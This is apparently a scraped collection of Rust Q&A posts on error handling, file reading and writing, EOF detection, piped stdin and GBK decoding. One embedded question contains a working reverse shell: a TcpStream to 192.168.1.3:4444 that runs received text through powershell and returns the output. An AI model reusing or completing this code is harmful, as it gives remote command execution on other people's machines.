converting result's error code to a string - rust

I want to open a file, but in the case that my program fails to open it I want to print an error message to the user and exit early.
use std::fs::File;
fn main() {
let file = "something.txt";
let file = match File::open(file) {
Ok(val) => val,
Err(e) => {
//err_string is not a real function, what would you use?
println!("failed to open file: {}", e.err_string());
return;
}
};
}

you can just do:
println!("failed to open file: {}", e);
it will convert it to a string automatically

Print an error message to the user and exit early:
1. You may use File::open("something.txt")?, try the following example (No panic, just print an error message):
use std::fs::File;
use std::io::prelude::*;
fn main() -> std::io::Result<()> {
let mut file = File::open("something.txt")?;
let mut contents = String::new();
file.read_to_string(&mut contents)?;
assert_eq!(contents, "Hello, world!");
Ok(())
}
Output (on error):
Error: Os { code: 2, kind: NotFound, message: "No such file or directory" }
Using .expect("msg"): Panics if the value is an Err, with a panic message including the passed message, and the content of the Err (developer friendly, since shows the file name and line number):
use std::fs::File;
use std::io::prelude::*;
fn main() {
let mut file = File::open("something.txt").expect("failed to open file");
let mut contents = String::new();
file.read_to_string(&mut contents)
.expect("failed to read file");
assert_eq!(contents, "Hello, world!");
}
Output (on error):
thread 'main' panicked at 'failed to open file:
Os { code: 2, kind: NotFound, message: "No such file or directory" }',
src/main.rs:17:20
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
No panic, just print an error message:
use std::fs::File;
use std::io::prelude::*;
fn main() {
let mut file = match File::open("something.txt") {
Ok(val) => val,
Err(e) => {
println!("failed to open file: {}", e);
return;
}
};
let mut contents = String::new();
file.read_to_string(&mut contents)
.expect("failed to read file");
assert_eq!(contents, "Hello, world!");
}
Output (on error):
failed to open file: No such file or directory (os error 2)

Related

How to remove nul characters from string in rust?

use std::net::TcpStream;
use std::io::*;
use std::io::{self, Write};
use std::str::from_utf8;
use std::process::Command;
const MESSAGE_SIZE: usize = 10;
fn main()
{
let mut stream = TcpStream::connect("192.168.1.3:4444").unwrap();
println!("CONNECTED !!");
loop
{
stream.write(b"[*] >> ").expect("A");
let mut rx_bytes = [0u8; MESSAGE_SIZE];
stream.read(&mut rx_bytes).expect("k");
let received = from_utf8(&rx_bytes).expect("valid utf8").to_string();
print!("{}",received);
let output = Command::new("powershell").arg(received).output().expect("failed to execute process"); // Error at .arg(received).
println!("status: {}", output.status);
io::stdout().write_all(&output.stdout).unwrap();
io::stderr().write_all(&output.stderr).unwrap();
let res = from_utf8(&output.stdout).expect("valid utf8").to_string();
stream.write(res.as_bytes());
}
}
ERROR:-
thread 'main' panicked at 'failed to execute process: Error { kind: InvalidInput, message: "nul byte found in provided data" }', .\main.rs:20:72
note: run with RUST_BACKTRACE=1 environment variable to display a backtrace
PS:- I am using netcat as the server.
The first thing you should probably do (if you haven't already) is to look at your incoming data:
println!("{:x?}", "azAZ\0X09".as_bytes()); // [61, 7a, 41, 5a, 0, 58, 30, 39]
Then you can determine why there is a null byte in there and what needs to be done about it.

Why am I getting a "bad file descriptor" error when writing file in rust?

Ignoring the fact that I'm using unwrap to ignore what happens if the file doesn't exist, it seems to me like this short bit of code should work (as long as the file does exist):
use std::fs::File;
use std::io::Write;
fn main() {
let mut f = File::open("test.txt").unwrap();
let result = f.write_all(b"some data");
match result {
Ok(_) => println!("Data written successfully"),
Err(e) => panic!("Failed to write data: {}", {e}),
}
}
Instead, I'm getting this:
thread 'main' panicked at 'Failed to write data: Bad file descriptor (os error 9)', src/main.rs:10:19
To be clear, I know if I follow one of the many examples online, I can write to a file. The question isn't "how do I write to a file?". It's why THIS isn't working.
It isn't working because File::open() open's a file in read-only mode. Instead you have to use File::create() which opens a file in write-only mode. Alternatively you can also use OpenOptions, to further specify if you want to append() to a file instead.
use std::fs::File;
use std::io::Write;
fn main() {
let mut f = File::create("test.txt").unwrap();
let result = f.write_all(b"some data");
match result {
Ok(_) => println!("Data written successfully"),
Err(err) => panic!("Failed to write data: {}", err),
}
}
Using File::create() is the same as using OpenOptions in the following way:
use std::fs::OpenOptions;
use std::io::Write;
fn main() {
let mut f = OpenOptions::new()
.write(true)
.create(true)
.truncate(true)
.open("test.txt")
.unwrap();
let result = f.write_all(b"some data");
match result {
Ok(_) => println!("Data written successfully"),
Err(err) => panic!("Failed to write data: {}", err),
}
}

Rust - How to check EOF in File?

I am trying to implement the last exercise of https://github.com/pingcap/talent-plan/blob/master/rust/building-blocks/bb-2.md.
In short, I need to serialize some enums to bson, write to a file and read them back from file.
I got stuck in checking whether EOF is reached. I googled for some time but failed to find an answer.
use std::path::Path;
use std::fs::{create_dir_all, OpenOptions};
use std::io::{Write, Seek, Cursor, SeekFrom};
use serde::{Serialize, Deserialize};
use std::str;
use bson;
use bson::{encode_document, decode_document};
fn main() {
let dir = Path::new("D:/download/rust");
create_dir_all(dir).expect("Cannot create dir");
let txt = dir.join("move.txt");
// Encode some moves
let mut file = OpenOptions::new()
.append(true)
.create(true)
.open(&txt)
.expect("Cannot open txt");
encode_and_write_move(&mut file, &Move::Up(1));
encode_and_write_move(&mut file, &Move::Down(2));
encode_and_write_move(&mut file, &Move::Left(3));
encode_and_write_move(&mut file, &Move::Right(4));
// Decode and print moves
let mut file = OpenOptions::new()
.read(true)
.open(&txt)
.expect("Cannot open txt");
loop {
let end_of_file = false; // How?
if end_of_file {
break;
}
let doc = decode_document(&mut file).expect("cannot decode doc");
println!("doc = {:?}", doc);
}
}
fn encode_and_write_move<W: Write>(writer: &mut W, mov: &Move) {
let serialized = bson::to_bson(mov).unwrap();
let doc = serialized.as_document().unwrap();
encode_document(writer, doc).expect("failed to encode doc");
}
#[derive(Debug, Serialize, Deserialize)]
enum Move {
Up(i32),
Down(i32),
Left(i32),
Right(i32),
}
Update:
It seems the only way to see if EOF is reached is to check the returned Err. Here is my attempt for the whole exercise.
use std::path::Path;
use std::fs::{create_dir_all, OpenOptions};
use std::io::Write;
use serde::{Serialize, Deserialize};
use std::{str, io};
use bson;
use bson::{encode_document, decode_document, DecoderError};
fn main() {
let dir = Path::new("D:/download/rust");
create_dir_all(dir).expect("Cannot create dir");
let txt = dir.join("move.txt");
// Encode some moves
let mut writer = OpenOptions::new()
.append(true)
.create(true)
.open(&txt)
.expect("Cannot open txt");
encode_and_write_move(&mut writer, &Move::Up(1));
encode_and_write_move(&mut writer, &Move::Down(2));
encode_and_write_move(&mut writer, &Move::Left(3));
encode_and_write_move(&mut writer, &Move::Right(4));
// Decode and print moves
let mut reader = OpenOptions::new()
.read(true)
.open(&txt)
.expect("Cannot open txt");
loop {
match decode_document(&mut reader) {
Result::Ok(doc) => println!("doc = {:?}", &doc),
Result::Err(DecoderError::IoError(e)) if e.kind() == io::ErrorKind::UnexpectedEof => break,
Result::Err(err) => panic!("Decoding failed with {}", err)
}
}
}
fn encode_and_write_move<W: Write>(writer: &mut W, mov: &Move) {
let serialized = bson::to_bson(mov).unwrap();
let doc = serialized.as_document().unwrap();
encode_document(writer, doc).expect("failed to encode doc");
}
#[derive(Debug, Serialize, Deserialize)]
enum Move {
Up(i32),
Down(i32),
Left(i32),
Right(i32),
}
bson::decode_document returns DecoderResult<Document> which is an alias for Result<T, DecoderError>. If you check possible values for enum DecoderError, you will see EndOfStream It seems decode_document returns a Result::Err<DecoderError::IoError<_>> in case of an EOF.
So instead of trying to detect EOF in your code, it would be more straightforward to consume the stream (by repeatedly calling decode_document) until an error is raised. Then the error can be handled, or in case of EndOfStream processing can continue normally.
You can try something like this:
loop {
match decode_documment(&mut file) {
Result::Ok(doc) => println!("doc = {:?}", &doc),
Result::Err(DecoderError::IoError(io_error)) => match io_error.kind() {
std::io::ErrorKind::UnexpectedEof => break,
_ => panic!("Decoding failed with I/O error {}", io_error)
}
Result::Err(err) => panic!("Decoding failed with {}", err)
}
}

How to capture the output of a process piped into a Rust program?

I know how to read the command line arguments, but I am having difficulties reading the command output from a pipe.
Connect a program (A) that outputs data to my Rust program using a pipe:
A | R
The program should consume the data line by line as they come.
$ pwd | cargo run should print the pwd output.
OR
$ find . | cargo run should output the find command output which is more than 1 line.
Use BufRead::lines on a locked handle to standard input:
use std::io::{self, BufRead};
fn main() {
let stdin = io::stdin();
for line in stdin.lock().lines() {
let line = line.expect("Could not read line from standard in");
println!("{}", line);
}
}
If you wanted to reuse the allocation of the String, you could use the loop form:
use std::io::{self, Read};
fn main() {
let stdin = io::stdin();
let mut stdin = stdin.lock(); // locking is optional
let mut line = String::new();
// Could also `match` on the `Result` if you wanted to handle `Err`
while let Ok(n_bytes) = stdin.read_to_string(&mut line) {
if n_bytes == 0 { break }
println!("{}", line);
line.clear();
}
}
You just need to read from Stdin.
This is based on an example taken from the documentation:
use std::io;
fn main() {
loop {
let mut input = String::new();
match io::stdin().read_line(&mut input) {
Ok(len) => if len == 0 {
return;
} else {
println!("{}", input);
}
Err(error) => {
eprintln!("error: {}", error);
return;
}
}
}
}
It's mostly the docs example wrapped in a loop, breaking out of the loop when there is no more input, or if there is an error.
The other changes is that it's better in your context to write errors to stderr, which is why the error branch uses eprintln!, instead of println!. This macro probably wasn't available when that documentation was written.
use std::io;
fn main() {
loop {
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.expect("failed to read from pipe");
input = input.trim().to_string();
if input == "" {
break;
}
println!("Pipe output: {}", input);
}
}
OUTPUT:
[18:50:29 Abhinickz#wsl -> pipe$ pwd
/mnt/d/Abhinickz/dev_work/learn_rust/pipe
[18:50:46 Abhinickz#wsl -> pipe$ pwd | cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.0 secs
Running `target/debug/pipe`
Pipe output: /mnt/d/Abhinickz/dev_work/learn_rust/pipe
You can do it in a pretty snazzy and concise way with rust's iterator methods
use std::io::{self, BufRead};
fn main() {
// get piped input
// eg `cat file | ./program`
// ( `cat file | cargo run` also works )
let input = io::stdin().lock().lines().fold("".to_string(), |acc, line| {
acc + &line.unwrap() + "\n"
});
dbg!(input);
}

How to read a GBK-encoded file into a String?

use std::env;
use std::fs::File;
use std::io::prelude::*;
fn main() {
let args: Vec<String> = env::args().collect();
let filename = &args[1];
let mut f = File::open(filename).expect("file not found");
let mut contents = String::new();
f.read_to_string(&mut contents).expect("something went wrong reading the file");
println!("file content:\n{}", contents);
}
When I attempt to read a GBK encoded file, I get the following error:
thread 'main' panicked at 'something went wrong reading the file: Error { repr: Custom(Custom { kind: InvalidData, error: StringError("stream did not contain valid UTF-8") }) }', /checkout/src/libcore/result.rs:860
It says the stream must contain valid UTF-8. How can I read a GBK file?
I figured out how to read line by line from a GBK-encoded file.
extern crate encoding;
use std::env;
use std::fs::File;
use std::io::prelude::*;
use std::io::BufReader;
use encoding::all::GBK;
use encoding::{Encoding, EncoderTrap, DecoderTrap};
fn main() {
let args: Vec<String> = env::args().collect();
let filename = &args[1];
let mut file = File::open(filename).expect("file not found");
let reader = BufReader::new(&file);
let mut lines = reader.split(b'\n').map(|l| l.unwrap());
for line in lines {
let decoded_string = GBK.decode(&line, DecoderTrap::Strict).unwrap();
println!("{}", decoded_string);
}
}
You likely want the encoding crate.

Resources